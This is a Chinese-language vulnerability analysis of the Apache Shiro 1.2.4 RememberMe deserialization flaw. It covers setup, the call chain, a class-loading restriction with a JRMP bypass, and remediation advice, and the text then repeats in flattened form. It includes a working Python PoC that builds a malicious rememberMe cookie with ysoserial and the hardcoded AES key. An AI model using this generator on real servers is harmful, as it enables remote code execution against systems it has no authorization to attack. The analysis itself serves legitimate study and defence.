Shiro-1.2.4-RememberMe 反序列化踩坑深入分析
字数 2045 2025-08-25 22:59:02

Apache Shiro 1.2.4 RememberMe 反序列化漏洞深入分析

漏洞概述

Apache Shiro 1.2.4 版本中,当使用 RememberMe 功能时,存在反序列化漏洞。该漏洞源于:

  1. Shiro 使用 AES 加密 RememberMe Cookie
  2. AES 密钥硬编码在代码中(kPH+bIxk5D2deZiIxcaaaA==
  3. 攻击者可利用硬编码密钥构造恶意序列化数据,触发反序列化执行任意代码

环境搭建

所需组件

  • Java 1.7.0_21(兼容 ysoserial payload)
  • Apache Tomcat 8.5.56
  • Shiro 1.2.4(commit 9549384b0d7b77b87733892ab00b94cc31019444)
  • Commons-collections4(兼容 ysoserial payload)

搭建步骤

  1. 获取 Shiro 源码:
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
  1. 配置 Maven toolchains.xml:
<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.7</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>/path/to/jdk1.7.0_21.jdk/</jdkHome>
    </configuration>
  </toolchain>
</toolchains>
  1. 修改 pom.xml 添加依赖:
<dependencies>
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
  </dependency>
</dependencies>
  1. 配置 Tomcat 并运行示例项目

漏洞利用

POC 生成脚本

import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections5', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = rememberme('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
    with open("./payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()))

利用流程

  1. 使用 ysoserial 生成 CommonsCollections5 payload
  2. 使用硬编码 AES 密钥加密 payload
  3. 构造 rememberMe Cookie 并发送给目标

漏洞分析

漏洞触发流程

  1. 身份解析

    • DefaultSecurityManager.resolvePrincipals() 尝试解析上下文凭据
    • 调用 getRememberedPrincipals() 获取 RememberMe 身份信息
  2. Cookie处理

    • CookieRememberMeManager.getRememberedSerializedIdentity() 从请求中获取 rememberMe Cookie
    • 对 Cookie 值进行 Base64 解码
  3. AES解密

    • AbstractRememberMeManager.convertBytesToPrincipals() 调用 decrypt() 解密数据
    • 使用硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== 进行 AES 解密
  4. 反序列化

    • AbstractRememberMeManager.deserialize() 调用 DefaultSerializer.deserialize()
    • 最终触发 ObjectInputStream.readObject() 反序列化漏洞

关键点分析

  1. 硬编码密钥

    • 密钥在 AbstractRememberMeManager 类中硬编码:
      private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
      
    • 在 Shiro 初始化时通过调用链设置:
      setEncryptionCipherKey() -> setCipherKey() -> AbstractRememberMeManager 构造函数
      
  2. 反序列化限制

    • Shiro 使用 ClassResolvingObjectInputStream 重写了 resolveClass
    • 在加载数组类型(如 [Lorg.apache.commons.collections.Transformer;)时会失败
    • 失败原因:Tomcat 的 ClassLoader 未包含 Commons Collections 库路径
  3. 绕过限制的JRMP利用

    • 使用 JRMP 客户端 payload 可绕过数组加载限制
    • 原因:JRMP 通信过程中会进行二次反序列化,此时使用 ParallelWebappClassLoader 可成功加载数组类型

深入技术细节

类加载机制分析

  1. Shiro的类加载

    • 使用 ClassResolvingObjectInputStream.resolveClass()
    • 调用 ClassUtils.forName() 尝试三种加载器:
      • THREAD_CL_ACCESSOR.loadClass
      • CLASS_CL_ACCESSOR.loadClass
      • SYSTEM_CL_ACCESSOR.loadClass
  2. Tomcat环境差异

    • Tomcat 有自己的 ClassLoader 体系(WebappClassLoaderBase
    • 默认不包含 JDK 的 Classpath,需要手动配置:
      CLASSPATH=$CLASSPATH:/path/to/commons-collections-3.2.1.jar
      
  3. JRMP利用原理

    • 第一次反序列化:作为 JRMP 客户端连接恶意服务端
    • 第二次反序列化:在通信过程中使用 ParallelWebappClassLoader 加载数组类型
    • 关键调用栈:
      Class.forName() -> LoaderHandler.loadClass() -> MarshalInputStream.resolveClass()
      

修复建议

  1. 升级到最新版 Shiro
  2. 自定义 RememberMe 加密密钥,替换硬编码密钥
  3. 禁用不必要的 RememberMe 功能
  4. 使用 Java 安全策略限制反序列化操作

总结

该漏洞的核心在于:

  1. 硬编码 AES 密钥导致加密可被绕过
  2. 反序列化时类加载机制的限制与绕过
  3. 通过 JRMP 等二次反序列化技术可绕过初始限制

理解该漏洞需要对 Java 类加载机制、Shiro 身份验证流程和反序列化技术有深入认识。

Apache Shiro 1.2.4 RememberMe 反序列化漏洞深入分析 漏洞概述 Apache Shiro 1.2.4 版本中,当使用 RememberMe 功能时,存在反序列化漏洞。该漏洞源于: Shiro 使用 AES 加密 RememberMe Cookie AES 密钥硬编码在代码中( kPH+bIxk5D2deZiIxcaaaA== ) 攻击者可利用硬编码密钥构造恶意序列化数据,触发反序列化执行任意代码 环境搭建 所需组件 Java 1.7.0_ 21(兼容 ysoserial payload) Apache Tomcat 8.5.56 Shiro 1.2.4(commit 9549384b0d7b77b87733892ab00b94cc31019444) Commons-collections4(兼容 ysoserial payload) 搭建步骤 获取 Shiro 源码: 配置 Maven toolchains.xml: 修改 pom.xml 添加依赖: 配置 Tomcat 并运行示例项目 漏洞利用 POC 生成脚本 利用流程 使用 ysoserial 生成 CommonsCollections5 payload 使用硬编码 AES 密钥加密 payload 构造 rememberMe Cookie 并发送给目标 漏洞分析 漏洞触发流程 身份解析 : DefaultSecurityManager.resolvePrincipals() 尝试解析上下文凭据 调用 getRememberedPrincipals() 获取 RememberMe 身份信息 Cookie处理 : CookieRememberMeManager.getRememberedSerializedIdentity() 从请求中获取 rememberMe Cookie 对 Cookie 值进行 Base64 解码 AES解密 : AbstractRememberMeManager.convertBytesToPrincipals() 调用 decrypt() 解密数据 使用硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== 进行 AES 解密 反序列化 : AbstractRememberMeManager.deserialize() 调用 DefaultSerializer.deserialize() 最终触发 ObjectInputStream.readObject() 反序列化漏洞 关键点分析 硬编码密钥 : 密钥在 AbstractRememberMeManager 类中硬编码: 在 Shiro 初始化时通过调用链设置: 反序列化限制 : Shiro 使用 ClassResolvingObjectInputStream 重写了 resolveClass 在加载数组类型(如 [Lorg.apache.commons.collections.Transformer; )时会失败 失败原因:Tomcat 的 ClassLoader 未包含 Commons Collections 库路径 绕过限制的JRMP利用 : 使用 JRMP 客户端 payload 可绕过数组加载限制 原因:JRMP 通信过程中会进行二次反序列化,此时使用 ParallelWebappClassLoader 可成功加载数组类型 深入技术细节 类加载机制分析 Shiro的类加载 : 使用 ClassResolvingObjectInputStream.resolveClass() 调用 ClassUtils.forName() 尝试三种加载器: THREAD_CL_ACCESSOR.loadClass CLASS_CL_ACCESSOR.loadClass SYSTEM_CL_ACCESSOR.loadClass Tomcat环境差异 : Tomcat 有自己的 ClassLoader 体系( WebappClassLoaderBase ) 默认不包含 JDK 的 Classpath,需要手动配置: JRMP利用原理 : 第一次反序列化:作为 JRMP 客户端连接恶意服务端 第二次反序列化:在通信过程中使用 ParallelWebappClassLoader 加载数组类型 关键调用栈: 修复建议 升级到最新版 Shiro 自定义 RememberMe 加密密钥,替换硬编码密钥 禁用不必要的 RememberMe 功能 使用 Java 安全策略限制反序列化操作 总结 该漏洞的核心在于: 硬编码 AES 密钥导致加密可被绕过 反序列化时类加载机制的限制与绕过 通过 JRMP 等二次反序列化技术可绕过初始限制 理解该漏洞需要对 Java 类加载机制、Shiro 身份验证流程和反序列化技术有深入认识。